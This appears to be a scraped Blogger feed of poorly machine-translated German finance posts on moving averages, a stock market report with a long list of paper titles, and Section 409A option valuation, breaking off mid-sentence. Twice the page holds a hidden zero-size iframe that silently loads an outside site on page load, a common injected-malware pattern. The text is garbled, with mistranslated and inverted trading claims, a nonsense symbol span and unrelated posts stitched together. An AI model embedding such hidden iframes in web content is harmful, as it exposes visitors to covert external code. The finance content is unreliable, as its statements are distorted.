Moving Average (EMA) Diese gleitende Durchschnittsberechnung verwendet einen Glättungsfaktor, um ein höheres Gewicht auf die letzten Datenpunkte zu legen und gilt als viel effizienter als der linear gewichtete Durchschnitt. Ein Verständnis der Berechnung ist in der Regel nicht für die meisten Händler erforderlich, da die meisten Charting-Pakete die Berechnung für Sie. Das Wichtigste, um sich über den exponentiellen gleitenden Durchschnitt zu erinnern, ist, dass er mehr auf neue Informationen bezogen auf den einfachen gleitenden Durchschnitt reagiert. Diese Reaktionsfähigkeit ist einer der Schlüsselfaktoren, warum dies der gleitende Durchschnitt der Wahl unter vielen technischen Händlern ist. Wie Sie in Abbildung 2 sehen können, steigt und fällt ein 15-Perioden-EMA schneller als ein 15-stündiges SMA. Diese leichte Differenz scheint nicht so viel, aber es ist ein wichtiger Faktor, um bewusst zu sein, da sie die Rückkehr beeinflussen können. Hauptverwendungen der Gleitende Mittel Gleitende Mittelwerte werden verwendet, um aktuelle Trends und Trendumkehrungen zu identifizieren sowie Unterstützungs - und Widerstandswerte einzurichten. Bewegungsdurchschnitte können verwendet werden, um schnell zu identifizieren, ob sich ein Wertpapier in einem Aufwärtstrend oder einem Abwärtstrend bewegt, abhängig von der Richtung des gleitenden Durchschnitts. Wie Sie in Abbildung 3 sehen können, wenn ein gleitender Durchschnitt aufwärts geht und der Preis über ihm liegt, ist die Sicherheit in einem Aufwärtstrend. Umgekehrt kann ein abwärts gerichteter gleitender Durchschnitt mit dem Preis unten verwendet werden, um einen Abwärtstrend zu signalisieren. Ein anderes Verfahren zur Bestimmung des Impulses besteht darin, die Reihenfolge eines Paares von sich bewegenden Mittelwerten zu betrachten. Wenn ein kurzfristiger Durchschnitt über einem längerfristigen Durchschnitt liegt, ist der Trend vorbei. Auf der anderen Seite signalisiert ein langfristiger Durchschnitt über einem kürzerfristigen Durchschnitt eine Abwärtsbewegung im Trend. Gleitende durchschnittliche Trendumkehrungen werden in zwei Hauptformen gebildet: wenn der Preis sich durch einen gleitenden Durchschnitt bewegt und wenn er sich durch gleitende Durchschnittsübergänge bewegt. Das erste gemeinsame Signal ist, wenn der Preis bewegt sich durch einen wichtigen gleitenden Durchschnitt. Wenn beispielsweise der Kurs eines Wertpapiers, der sich in einem Aufwärtstrend befand, unter einen 50-Perioden-gleitenden Durchschnitt fällt, wie in 4, ist dies ein Zeichen, dass der Aufwärtstrend umgekehrt werden kann. Das andere Signal einer Trendumkehr ist, wenn ein gleitender Durchschnitt einen anderen kreuzt. Zum Beispiel, wie Sie in Abbildung 5 sehen können, wenn der 15-Tage-Gleitende Durchschnitt über dem 50-Tage-Gleitenden Durchschnitt überschreitet, ist es ein positives Zeichen, dass der Preis zu steigen beginnt. Wenn die in der Berechnung verwendeten Zeiträume relativ kurz sind, beispielsweise 15 und 35, könnte dies eine kurzfristige Trendumkehr signalisieren. Auf der anderen Seite, wenn zwei Mittelwerte mit relativ langen Zeitrahmen überqueren (50 und 200, zum Beispiel), wird dies verwendet, um eine langfristige Trendverschiebung vorzuschlagen. Ein weiterer wichtiger Weg gleitende Durchschnitte werden verwendet, um Unterstützung und Widerstand Ebenen zu identifizieren. Es ist nicht ungewöhnlich zu sehen, eine Aktie, die fallen hat seinen Rückgang zu stoppen und umgekehrte Richtung, sobald es die Unterstützung eines großen gleitenden Durchschnitt trifft. Ein Umzug durch einen großen gleitenden Durchschnitt wird oft als Signal von technischen Händlern verwendet, dass der Trend rückgängig gemacht wird. Wenn beispielsweise der Kurs den 200-Tage-Bewegungsdurchschnitt in einer Abwärtsrichtung durchbricht, ist dies ein Signal, dass der Aufwärtstrend umgekehrt wird. Gleitende Durchschnitte sind ein leistungsfähiges Werkzeug für die Analyse der Trend in einer Sicherheit. Sie bieten nützliche Unterstützung und Widerstand Punkte und sind sehr einfach zu bedienen. Die häufigsten Zeitrahmen, die bei der Erstellung von Bewegungsdurchschnitten verwendet werden, sind die 200-Tage, 100-Tage, 50-Tage, 20 Tage und 10 Tage. Der 200-Tage-Durchschnitt ist ein gutes Maß für ein Handelsjahr, ein 100-Tage-Durchschnitt von einem halben Jahr, ein 50-Tage-Durchschnitt von einem Vierteljahr, ein 20-Tage-Durchschnitt von einem Monat und 10 - Durchschnitt von zwei Wochen. Die gleitenden Durchschnitte helfen technischen Händlern, einige der Geräusche, die in den täglichen Preisbewegungen gefunden werden, zu glätten und geben den Händlern einen klareren Überblick über die Preisentwicklung. Bisher konzentrieren wir uns auf die Preisentwicklung, durch Diagramme und Durchschnitte. Im nächsten Abschnitt, betrachten auch einige andere Techniken, die benutzt werden, um Preisbewegung und - muster zu bestätigen. Technische Analyse: Indikatoren und OszillatorenPreis vs. 200-Tage-Moving-Average () Was ist die Definition von 200d MA. Dies misst den Aktienkurs gegenüber dem 200-Tage-Moving-Average (200d MA), ausgedrückt als prozentualer Unterschied. Eine negative Zahl gibt an, dass ein Aktienkurs unter den 200d MA der 200d MA ein langfristiger gleitender Durchschnitt ist, der berechnet wird, indem die Summe des durchschnittlichen Schlusskurses der Sicherheiten während der letzten 200 Tage durch 200 geteilt wird. Stockopedia erklärt 200d MA. Der gleitende 200-Tage-Durchschnitt ist ein beliebter technischer Indikator, mit dem Investoren die Preisentwicklung analysieren. Eine Aktie, die über seinem 200-Tage-Moving-Average handelt, wird in einem langfristigen Aufwärtstrend betrachtet. Wenn der Short Term (50 Tage) Moving Average unter dem langfristigen (200 Tage) Moving Average liegt, wird dies als Death Cross bezeichnet. Während das Inverse als Goldenes Kreuz bekannt ist.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-17716160974213408352017-08-05T14:05:00.000-07:002017-08-05T14:05:04.467-07:00Executive Aktienoptionen Und Ipo Underpricing<p>Dow knackt Sechsmonats-Siegesserie als Energiesektor-Panzer Der Dow-Jones-Industrielle-Durchschnitt schnappte eine sechsmonatige Gewinnstreifen am Mittwoch, während schwache Energieanteile auf dem breiteren Markt wog. Eine Reihe von Wirtschaftsberichten, die möglicherweise weitere Ursache für die Federal Reserve hinzufügen, um mit der jüngsten Rede von Heben der Leitzinsen zu folgen, dämpfte auch die Stimmung. Der Dow DJIA, -0.16 fiel 53.42 Punkte oder 0.3, um bei 18.400.88, unten 0.2 für den Monat zu schließen. Die SampP 500s SPX, 0,00 Fünf-Monats-Rallye kam zu einem Ende, mit dem großen Cap-Index fallen 5.17 Punkte oder 0,2, um bei 2.170,95 für einen monatlichen Rückgang von 0,1 zu beenden. Der Nasdaq Composite Index COMP, 0,36 Schuppen 9,77 Punkte oder 0,2, um bei 5.213,22 zu enden, aber es sträubte sich den Trend zu schließen bis 1 im August. Aktien wurden unter Druck gesetzt, wie Rohöl-Futures auf der Rückseite eines Berichts von der US Energy Information Administration, die zeigte inländischen Rohöl stieg stieg durch eine über-schätzungsweise 2,3 Millionen Barrel in der Woche am 26. August beendet Schwache Öl-, Investoren nehmen auch defensive Positionen vor der nonfarm Gehaltsliste Bericht fällig Freitag, nach Brad McMillan, Chief Investment Officer für Commonwealth Financial Network. Investoren nehmen etwas Geld aus dem Tisch, was normal ist und eine rationale Antwort angesichts der Fed, hohe Werte und Nervosität über September, der ein Monat auf dem Markt, wenn die meisten Menschen Geld verlieren, sagte er. Seit 1928 ist die SampP 500 im September 56 der Zeit gesunken, nach Bank of America Merrill Lynch Daten. Die privatwirtschaftlichen Beschäftigungsdaten legen den Ton für Aktien fest, wobei die US-Wirtschaft im August 177.000 Arbeitsplätze im privaten Sektor einbringt. Verglichen mit durchschnittlichen Schätzungen von Wirtschaftswissenschaftlern, die von MarketWatch von 175.000 nach einem Bericht von Automatic Data Processing Inc. ADP, -0,26 Der vorherige Monat Privat-Gehaltsabrechnung Bericht wurde auch auf 194.000 von 179.000 erhöht. Die ADP-Daten haben wohl als Vorläufer für die mehr beobachtete Nonfarm Payrolls Bericht gearbeitet, aber es war nicht immer ein genauer Maßstab. Leon Cooperman, Vorstandsvorsitzender von Omega Advisors, sagte CNBC am Mittwoch, dass, wenn der Arbeitsplatz Bericht kommt mit einer Gehaltsliste Anstieg von mehr als 200.000 wird die Fed wahrscheinlich Zinsen erhöhen, so früh wie September. Eine Zahl unter 100.000 würde auf eine Wanderung im Dezember zeigen, sagte er. Wirtschaftswissenschaftler, die durch MarketWatch befragt werden, projizieren Arbeitswachstum von 185.000 für diesen Monat. Einige Investoren sagen, die Daten, vor allem ADP, hasnt wirklich verändert die Erzählung für Rate-Wanderung Erwartungen. Ich denke nicht, dass die Daten uns eine definitive Antwort auf die eine oder andere Weise gaben, sagte Brian Jacobsen, Chef-Portfolio-Stratege bei Wells Fargo Funds Management, das rund 240 Milliarden verwaltet. Die SampP 500 bleibt in einem engen Bereich mit Volatilität noch gedämpft, was dazu führte, dass Benjamin Bowler, ein Analyst bei Bank of America Merrill Lynch, zum Ausdruck bringen Besorgnis über Investoren underpricing Risiken. Dennoch sagte Frank Cappelleri, Executivdirektor bei Instinet LLC, daß Märkte gedämpfte Bewegungen im August mehr zu seiner Stärke als Schwäche sprechen. Die Tatsache, dass die SampP 500 bis 9 von den Juni-Tiefs war, um den Monat zu starten, zeigt die seitliche Bewegung Resiliency mehr als alles in diesem Stadium, sagte er. In anderen wirtschaftlichen Daten, bis zu Hause verkauft im Juli erreicht die zweithöchste Lesung in einem Jahrzehnt, als ein solider Arbeitsplatz Markt und niedrige Hypothek Preise unterstützt Kauf. Getrennt fiel der Chicago Einkaufsmanagerindex für August 4 Punkte bis 51.5 vom vorhergehenden Monat. Fed-Sprecher: In Fed Nachrichten, erschienen Boston Fed Präsident Eric Rosengren und Chicago Fed Präsident Charles Evans auf einer Veranstaltung in Shanghai und diskutierte beide Seiten der Fed-Debatte über die Erhöhung der Zinsen. Rosengren sagte, die Fed sei nahe daran, ihre Beschäftigungs - und Inflationsziele zu erreichen, während Evans angedeutet habe, er sei nicht eilig, die Politik zu straffen. Automatisierte Frachtschiffe: Die nächste Transportrevolution Firmen und Universitäten arbeiten zusammen, um automatisierte Frachtschiffe zu entwickeln. Schauen Sie sich die Rolls-Royce-Konzepte für die nächste Revolution im Seeverkehr an. Umzugsunternehmen und Shaker: Aktien der Palo Alto Networks Inc. PANW, 0,72 sank 7,2 nach der Cybersecurity Firma späten Dienstag eine nach unten gerichtete Aussichten für das laufende Quartal. AeroVironment Inc. AVAV, 0,23 getankt 17 nach dem Drohnenmacher sagte Umsatz sank 23 im letzten Quartal. U. S.-notierte Aktien der Deutsche Bank AG DB, -1,99 gewann 2,5 nach einem Bericht der deutsche Kreditgeber erwägt eine Fusion mit der rivalisierenden Commerzbank AG CBK, 0,75 Vorstand der Deutschen Bank, John Cryan, sprach jedoch von der Idee einer Fusion. Sagen, hes suchen, um die Bank kleiner. Cisco Systems Inc. CSCO, 0,66 Aktien fielen 0,3 nach dem Tech-Giganten späten Dienstag sagte, es würde kaufen ContainerX Inc .. ein 18 Monate alten Startup, die Software-Container für Firmenkunden verwaltet. Andere Märkte: Der Dollar gewann leicht gegen den Yen USDJPY, 0,41 früher in der Sitzung, war aber meistens flach in den letzten Handel, während Gold-Futures US: GCZ6 nach unten gedreht. Aktien in Asien geschlossen gemischt. Während die europäischen Märkte überwiegend niedriger waren. - Sara Sjolin hat zu diesem Bericht beigetragen. Verwandte Themen Copyright copy2017 MarketWatch, Inc. Alle Rechte vorbehalten. Intraday Daten von SIX Financial Information bereitgestellt und unterliegen den Nutzungsbedingungen. Historische und aktuelle Tagesenddaten von SIX Financial Information. Intraday-Daten verzögert pro Umtauschbedarf. SampPDow Jones Indizes (SM) von Dow Jones amp Company, Inc. Alle Angebote sind in lokaler Zeit. Echtzeit letzte Verkaufsdaten von NASDAQ zur Verfügung gestellt. Mehr Informationen über NASDAQ gehandelte Symbole und ihre aktuelle finanzielle Situation. Intraday-Daten verzögert 15 Minuten für Nasdaq, und 20 Minuten für andere Börsen. SampPDow Jones Indizes (SM) von Dow Jones amp Company, Inc. SEHK Intraday-Daten werden von SIX Financial Information zur Verfügung gestellt und sind mindestens 60-Minuten verzögert. Alle Anführungszeichen sind in der lokalen Austauschzeit. Keine Resultate gefunden Neueste Nachrichten 11:27: (CAPM () BVMV - - () - - - () - () - () - () - (AIS) - (AIS) - (AIS) - - - - - - () - () - () - - - - 1380 1387 -. DEA - DEA, AHP - - -. - (AIS) () - (AIS) () - (Marktstruktur) (Konzentrationsverhältnis) () - (Marktstruktur) (Konzentrationsverhältnis) () - () - AHP DEA - () - ( ) - () - () - () - () - () - () - () - (CSI) 2012 2013: Die Mechanismen der VAR-Vorhersage PoolingDie DSGE-Modell basierte Monte Carlo Studie Festwert, die Sarbanes-Oxley-Gesetz Und Cross-Listing in den USA Deutschland und Hongkong Ziele Angst vor der schwimmenden oder geldpolitischen wie üblich Eine strukturelle Analyse der mexikanischen Geldpolitik Tarifsteuerreform und Wechselkursdynamik in einer monetären Wirtschaft Regionale Zwangsversteigerungen und mexikanische Überweisungen: Nachweis aus dem Wohnungsmarkt Krise Finanzielle Auswirkungen des Konfuzius-Instituts auf chinesischen Spracherwerb: Ist es nicht herrlich, dass Freunde aus der Ferne kommen, um Ihnen beizubringen Hanyu Crucial Wechselkurs Parität. Belege für Mexiko Intraindustrieller Handel, Fragmentierung und Exportmargen: Eine empirische Untersuchung des subregionalen internationalen Handels Langfristige Pesodollar-Wechselkurse und Extremwertverhalten: Value at Risk-Modellierung Neue Indizien für den Zusammenhang zwischen Devisenkursen und Asset-Seek-Akquisitionen FDI Finanzielle Zerbrechlichkeit, nicht versicherte Einlagen und die Kosten der Verschuldung Preisfindung und Handelsfragmentierung in einem multimarktären Umfeld: Nachweis aus dem MTS-System Modellierung souveräner Kreditbreiten mit internationalen Makrofaktoren: Der Fall Brasilien 19982009 Kontrollüberlegungen, Gläubigerüberwachung und Die Kapitalstruktur der Familienunternehmen Saisonalität und Bewertung von Rohstoffoptionen Dynamik der Einzelhandelsbankverzweigung in Antwerpen (Belgien) 19912006: Nachweis aus mikrogeographischen Daten Portfolioauswahl: Ein Extremwertansatz Produktmarktwettbewerb und Kreditrisiko Staggered Boards, Corporate Opacity Und fester Wert Portfolio-Optimierung in Gegenwart von abhängigen finanziellen Renditen mit langer Gedächtnis: ein Copula-basierte Ansatz Markt Unvollständigkeit und die Equity-Premium-Puzzle: Beweis aus staatlichen Daten No-Arbitrage Near-Cointegrated VAR (p) Begriffsstruktur Modelle, Und BIP-Wachstum Bügelt die Knicke in der Vorstandsvergütung aus: Verknüpfung von Anreizverzinsung zu durchschnittlichen Aktienkursen Liquiditätsunsicherheit und Vermittlung Islamisches gegenüber konventionellem Bankwesen: Geschäftsmodell, Effizienz und Stabilität Unvollständige Informationen, idiosynkratische Volatilität und Aktienrenditen Messung zeitlich variierender Finanzmarktintegration: Unbeobachtete Komponenten Ansatz CEO Entschädigung, Kontrolle der Familie und institutionelle Investoren in Kontinentaleuropa Türkische Bank Effizienz: Bayesian Schätzung mit unerwünschten Ausgaben Asset-Liquidität, Investitionen in Unternehmen und endogene Finanzierungskosten Die Welt Preis für Sprung und Volatilität Risiko Hedgefonds, CDOs und die finanziellen Krise: Eine empirische Untersuchung des Magnetar-Handels Kapitalstruktur, Exekutivausgleich und Investitionseffizienz Die Auswirkung staatlicher Rating-Aktionen auf Bankbewertungen in Schwellenländern Fuzzy-Logik, Handelsunsicherheit und technischer Handel Finanzsystemrisiko: Besteuerung oder Regulierung Was bestimmt die Pensionskasse Risikobereitschaftsstrategie Auswirkungen der FDICIA-internen Kontrollen auf das Risiko der Bankrisiken Gemeinsamkeiten in der Anlagestrategie und die Determinanten der Performance bei Investmentfonds-Fusionen Kurzfristige Großhandelsfinanzierung und systemisches Risiko: Ein globaler CoVaR-Ansatz Strategische Darlehensänderung: Optionenorientierte Antwort auf strategische Standard Internationale Portfolioauswahl mit Wechselkursrisiko: Verhaltensorientierte Portfoliotheorie Perspektive Erhöhung der Volatilität der ausländischen Institutionen Nachweis aus systemischem Risiko, Basel III, globale Finanzstabilität und Regulierung Systemisches Risiko, makroprudenzielle politische Rahmenbedingungen, Überwachung der Finanzsysteme und Entwicklung der Kapitaladäquanz Stress-Tests Kreditrisiko: The Great Depression-Szenario Haben Interbank Kundenbeziehungen bestehen Und wie funktionierten sie in der Krise Lernen aus Italien Markt-und Währungs-spezifisches Risiko während der globalen Finanzkrise: Nachweis aus den Interbank-Märkten in Tokio und London Bankrisiko Und Regulierung: Eine Größe passend für alle Risikomanagement, Corporate Governance und Bankenleistung in der Finanzkrise Short-Horizon-Regulierung für langfristige Anleger Ein öffentlicher guter Ansatz für Kreditratings Vom Konzept zur Realität Kreditrisikotransfer in US-amerikanischen Banken: Was Veränderte sich während der Krise 20072009 Lagerbestände und der asymmetrische Markteffekt der Konsumentenstimmung Neuigkeiten Liquiditätsrisiko und Aktienrenditen rund um die Welt Aktien, Kredite und Volatilitäten: Eine multivariate Analyse des europäischen Marktes während der Subprime-Krise Marktkonzentration und die Wahrscheinlichkeit von Finanzkrisen Boards, die Kosten der Schulden und die feste Performance Das Verhältnis zwischen dem Bankenmarktwettbewerb und der Risikobereitschaft: Sind Grösse und Kapitalisierungsmaterie Abwärtsrisikoaversion, festverzinsliches Engagement und das Wertprämienpuzzle Finanzkompetenz, Informationsflüsse und Kastenzugehörigkeit: Empirische Evidenz aus Indien Fester Wachstumstyp und Kapitalstruktur-Persistenz Credit-Spreads-Interdependenzen der europäischen Staaten und Banken während der Finanzkrise Hochfrequenz-Finanzdatenmodellierung mit Hawkes-Prozessen Internationale Diversifikation mit verbrieften Immobilien und die verschleierte Blendung aus Währungsrisiken Aktionärszusammensetzung, Aktienumsatz Und Rückflüsse in volatilen Märkten: Der Fall internationaler REITs Liquiditätsdynamik in öffentlichen und privaten Märkten Portfolio-Güte und die finanzielle Leistungsfähigkeit der REITs Information, Unsicherheit und Verhaltenseffekte: Nachweis aus abnormer Rendite rund um Immobilien-Investment-Trust-Ergebnis-Meldungen Die REITs verwenden Bargeld Reserven effizient Nachweis von Unternehmensakquisitionen Eigenaffinität in finanziellen Vermögenswerten Empirische Analyse der Credit-Spread-Veränderungen von US-Unternehmensanleihen Biologie-induzierte Auswirkungen auf die Anlegerpsychologie und - verhalten Fondsmanager-Aktienpräferenzen in Lateinamerika Gemeinsame Faktoren, Hauptkomponentenanalyse und der Begriff Struktur der Zinssätze Reputationsschaden des operativen Verlustes am Anleihenmarkt: Nachweis aus der Finanzindustrie Führt die Managementverankerung die Versicherungsentscheidung aus Dealstrukturentscheidung im globalen Markt für veräußerte Vermögenswerte Wettbewerbsfähige Bewertungseffekte der australischen Börsengänge Assetpreise und Wechselkursrisiken: Empirische Evidenz Aus Kanada Konkurrenz-, Effizienz - und Zinsmargen im lateinamerikanischen Bankwesen Short-Sale-Einschränkungen und Effizienz der Spotfutures-Dynamik Risikomanagement und Reporting im Licht der jüngsten Finanzkrise Die Inflationsrate: Empirische Evidenz aus Indien, Südafrika und Brasilien Die Beharrlichkeit Der europäischen Fondsperformance Modellierung CAC40-Volatilität unter Verwendung hochfrequenter Daten Die Auswirkungen der Board-Governance auf Regulierungskompensationen in westafrikanischen IPO-Unternehmen Makroökonomische Schwankungen und finanzielle Zerbrechlichkeit der Unternehmen Kapitalregulierung, Risikobereitschaft und Geldpolitik: Eine fehlende Verbindung im Übertragungsmechanismus Können Kapitalanforderungen eine privatwirtschaftliche Überwachung bewirken, die gesellschaftlich optimal ist Effizienz und Marktmacht im lateinamerikanischen Bankwesen Liquiditätserzeugung ohne Zentralbank: Clearing-Hausdarlehen in der Bankenpanik von 1907 Bankenaufsicht, Regulierung und Effizienz: Nachweise aus der Europäischen Union Value - At-Risk-Modelle und Baseler Eigenkapitalunterschiede: Nachweis aus Emerging - und Frontier-Aktienmärkten Eine bedingte Schadenanalyse des Sonnenblumenmanagements unter Aufsicht und Kapitalregulierung Kointegrationsbeziehungen und zeitlich variierende Ko-Bewegungen zwischen indischen und asiatischen Industrieländern Die kontrastierenden Effekte der Board-Zusammensetzung Und Struktur auf IPO-Unternehmen underpricing in einem Entwicklungskontext Eine Analyse des Intraday-Marktverhaltens vor der Übernahme Ankündigungen Rating-Agenturen Credit-Signale: Eine Analyse der souveränen Uhr und Ausblick Obligatorische IFRS-Adoption und ihre Auswirkungen auf Analysten prognostiziert Corporate Governance und festen Wert während der globalen Finanzkrise : Nachweis aus China Ein multiskaler Entropieansatz für Markteffizienz Ausländische Direktinvestitionen und institutionelle Qualität: Einige empirische Belege Offene Immobilienfonds: Risiko - und Ertragsprofil Diversifikationsvorteile und Liquiditätsrisiken Umstellung auf Wechselkursschwankungen, Abwertungen und Aktienrenditen in MENA-Ländern Risikoverteilung im Vergleich zu finanziellen Anpassungen in Asien: Eine Asset-Price-Perspektive Vergleichende Untersuchung der Währungsrisikoprüfung und Marktintegration an den Aktienmärkten von Nigeria und Südafrika Kurzfristige Unterbewertung von Börsengängen in der Johannesburg-Börse (JSE) Globalisierung Und Bankeneffizienz nexus: Symbiosis oder Parasiten Bankenkredite, makroökonomische Bedingungen und finanzielle Unsicherheit: Nachweis aus Malaysia ADR Merkmale und Corporate Governance in der Region Greater China Internet Finanzberichterstattung, Infrastrukturen und Corporate Governance: Eine internationale Analyse Inländische Bankensektor Entwicklung und grenzüberschreitende Fusionen Und Akquisitionen in Afrika Management von Wechselkursregelungen in aufstrebenden Asien Eine Methodik für die Bewertung der potenziellen Nachfrage und optimale Versorgung der unternehmerischen Mikrokredite Bankenindustrie Liberalisierung in Ghana Asset-Vertrieb, Asset-Börsen und Aktionärs Reichtum in China Hat die Versicherungswirkung der öffentlichen und privaten Transfers favorisieren finanzielle Vertiefung Beweise aus dem ländlichen Nicaragua Preise der Temperatur-Index-Versicherung</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-86851317578582964372017-08-03T10:29:00.000-07:002017-08-03T10:29:21.604-07:00Bewertung Of Stock Options 409a<p>8 Dinge, die Sie wissen müssen über Abschnitt 409A Für wen trifft Abschnitt 409A Anwendung Abschnitt 409A gilt für alle Unternehmen, die nicht qualifizierte aufgeschobenen Vergütungspläne für Mitarbeiter. Wir sind nicht Rechtsanwälte, so dass wir die gesetzlichen Verpflichtungen dieser Definition für andere verlassen werden, wenn wir nur darauf hinweisen, dass allgemein ein aufgeschobener Vergütungsplan eine Vereinbarung ist, wonach ein Arbeitnehmer (Dienstleistungsanbieter in einem Sprachgebrauch) in einer späteren Steuer eine Entschädigung erhält In dem die Vergütung erbracht wurde. 8220Nichtqualifizierte8221 Pläne schließen 401 (k) und andere qualifizierte Pläne aus. Interessant ist aus Sicht der Bewertung, dass Aktienoptionen und Aktienwertsteigerungsrechte (SARs), zwei gemeinsame Formen der Anreizvergütung für private Unternehmen, möglicherweise unter den Anwendungsbereich von Section 409A fallen. Die IRS ist besorgt darüber, dass Aktienoptionen und SARs, die im Geld ausgegeben werden, wirklich nur eine Form der verzögerten Vergütung darstellen, die eine Verlagerung der laufenden Vergütung zu einem zukünftigen steuerpflichtigen Jahr darstellen. Daher müssen Arbeitgeber (Dienstleistungsempfänger), um zu verhindern, dass sie der 409A unterliegen, nachweisen, dass alle Aktienoptionen und SARs am Geld ausgegeben werden (dh mit dem Ausübungspreis, der dem Marktwert der zugrunde liegenden Aktien am Tag der Gewährung entspricht) . Aktienoptionen und SARs, die aus dem Geld ausgegeben werden, stellen keine besonderen Probleme im Hinblick auf § 409A dar. Was sind die Konsequenzen von Section 409A Stock Options und SARs, die unter Section 409A fallen, schaffen Probleme für Dienstempfänger und Dienstleister. Dienstleistungsempfänger sind für normale Verrechnungs - und Berichtspflichten in Bezug auf Beträge verantwortlich, die in den Bruttoeinnahmen des Dienstleisters gemäß § 409A enthalten sind. Die in den Bruttosozialdienstleistungen der Dienstleistungserbringer enthaltenen Beträge unterliegen ebenfalls Zinsen aus früheren Unterzahlungen und einer zusätzlichen Einkommensteuer in Höhe von 20 der im Bruttoeinkommen zu berücksichtigenden Entschädigung. Für den Inhaber einer Aktienoption kann dies besonders belastend sein, da bei fehlender Ausübung der Option und des Verkaufs der zugrunde liegenden Aktie keine Barmittel eingegangen sind, mit denen die Steuern und Zinsen zu zahlen sind. Diese Konsequenzen machen es kritisch, dass Aktienoptionen und SARs für die Freistellung unter 409A qualifiziert sind, wenn der Marktwert des Basiswertes den Ausübungspreis der Aktienoption oder SAR zum Zeitpunkt der Gewährung nicht übersteigt. Was ist eine vernünftige Anwendung einer angemessenen Bewertungsmethode Für Aktiengesellschaften ist es einfach, den Marktwert der zugrunde liegenden Aktien am Tag der Gewährung festzulegen. Für private Unternehmen ist Fair Market Value nicht verfügbar, wenn Sie das Wall Street Journal jeden Morgen öffnen. Dementsprechend sehen die IRS-Vorschriften für solche Unternehmen vor, dass der Marktwert durch die angemessene Anwendung einer angemessenen Bewertungsmethode ermittelt werden kann. In einem Versuch, diese Klarstellung zu klären, gehen die Regelungen davon aus, dass bei einer vernünftigen und konsequenten Anwendung einer Methode davon ausgegangen wird, dass diese Bewertungen einen fairen Marktwert darstellen, sofern dies nicht grob unvernünftig ist. Die Konsistenz der Anwendung wird anhand der Bewertungsmethoden, die zur Ermittlung des Marktwertes für andere Formen der aktienbasierten Vergütung herangezogen werden, bewertet. Eine unabhängige Beurteilung wird als angemessen erachtet, wenn die Beurteilung die Anforderungen des Kodex in Bezug auf die Bewertung von Aktien in einem Mitarbeiterbeteiligungsplan erfüllt. Eine angemessene Bewertungsmethode besteht darin, folgende Faktoren zu berücksichtigen: Wert der materiellen und immateriellen Vermögenswerte Der Barwert der künftigen Cashflows Der Marktwert vergleichbarer Unternehmen (öffentlich und privat) Weitere relevante Faktoren wie Kontrollprämien oder Rabatte aufgrund mangelnder Marktfähigkeit Ob die Bewertungsmethode konsistent für andere Unternehmenszwecke verwendet wird Mit anderen Worten, eine vernünftige Bewertung berücksichtigt die Kosten-, Ertrags - und Marktansätze und berücksichtigt die spezifischen Kontroll - und Liquiditätseigenschaften des jeweiligen Objekts. Das IRS ist auch besorgt darüber, dass die Bewertung der Stammaktien zu Zwecken des § 409A mit den für andere Zwecke durchgeführten Bewertungen übereinstimmt. Wie ist fairer Marktwert definiert? Der Marktwert ist in § 409A Kodex oder den dazugehörigen Regelungen nicht explizit definiert. Dementsprechend schauen wir auf IRS Revenue Ruling 59-60, die eher berühmt definieren fairen Marktwert als der Preis, zu dem die Eigenschaft würde sich die Hände zwischen einem willigen Käufer und einem willigen Verkäufer, wenn die erstere ist nicht unter einem Zwang zu kaufen und letztere Ist nicht zwingend zu verkaufen, beide Parteien haben vernünftige Kenntnisse der relevanten Tatsachen. Ist der Marktwert mit einem Abzinsungsfaktor für mangelnde Marktgängigkeit verbunden? Unter den allgemeinen Bewertungsfaktoren, die bei einer angemessenen Bewertungsmethode zu berücksichtigen sind, handelt es sich um Kontrollprämien oder Rabatte aufgrund mangelnder Marktfähigkeit. Mit anderen Worten, wenn der Basiswert illiquide ist, sollte die Aktie vermutlich auf einer nicht marktfähigen Minderheitsbeteiligung bewertet werden. Dies ist jedoch nicht ohne potentielle Verwirrung. Aktien, die an ESOP-Teilnehmer ausgegeben werden, sind in der Regel durch ein Put-Recht in Bezug auf die Gesellschaft oder die ESOP abgedeckt. Dementsprechend setzen Unternehmenschefs häufig Marktgängigkeitsrabatte in der Größenordnung von 0 bis 10 auf ESOP-Aktien. Anteile, die aufgrund eines Aktienoptionsplans ausgegeben werden, sind möglicherweise nicht mit ähnlichen Bezugsrechten ausgestattet und können daher einen größeren Marktrabatt gewähren. In solchen Fällen kann ein Unternehmen, das über eine jährliche ESOP-Beurteilung verfügt, für Zwecke des § 409A nicht über einen angemessenen Marktwert verfügen. Sind Formelpreise zuverlässige Messwerte des Marktwertes Neben den unabhängigen Beurteilungen können die Formelpreise unter bestimmten Umständen vermutlich einen fairen Marktwert darstellen. Insbesondere kann die Formel nicht für die betreffende Aktienoption oder SAR eindeutig sein, sondern muss für alle Transaktionen verwendet werden, in denen die ausgebende Gesellschaft Aktien kauft oder verkauft. Was sind die Regeln für Start-ups Für Zwecke der Section 409A Compliance sind Start-ups definiert als Unternehmen, die im Geschäft für weniger als zehn Jahre gewesen sind, haben keine öffentlich gehandelten Aktien und für die keine Änderung der Kontrolle Veranstaltung oder Dass das öffentliche Angebot in den nächsten zwölf Monaten vernünftigerweise erwartet wird. Für Unternehmensgründungen wird eine Bewertung als angemessen angesehen, wenn sie nach vernünftigem Grund und nach Treu und Glauben erfolgt ist und durch einen schriftlichen Bericht nachgewiesen wird, der die für die Bewertung im Allgemeinen nach diesen Vorschriften vorgeschriebenen relevanten Faktoren berücksichtigt. Ferner muss eine solche Bewertung von jemandem durchgeführt werden, der über umfangreiches Wissen und Erfahrung oder eine ähnliche Ausbildung verfügt. Diese Vermutung, die wir als eine getrennte Alternative darstellen, schlägt uns eine substantielle und praktische Ähnlichkeit mit der zuvor beschriebenen unabhängigen Beurteilungsvermutung. Einige Kommentatoren haben vorgeschlagen, dass die Bewertung einer im vorigen beschriebenen Unternehmensgründung durch einen Mitarbeiter oder ein Vorstandsmitglied der ausgebenden Gesellschaft erfolgen kann. Wir vermuten, dass es der seltene Mitarbeiter oder Vorstand ist, der tatsächlich qualifiziert ist, um die beschriebene Bewertung zu machen. Wer ist berechtigt, einen fairen Marktwert zu bestimmen Eine zuverlässige unabhängige Beurteilung wird von einer Einzelperson oder einem Unternehmen vorbereitet, die einen gründlichen Bildungshintergrund in Finanzierung und Bewertung hat, über umfangreiche berufliche Erfahrung verfügt, die unabhängige Beurteilungen vorbereitet 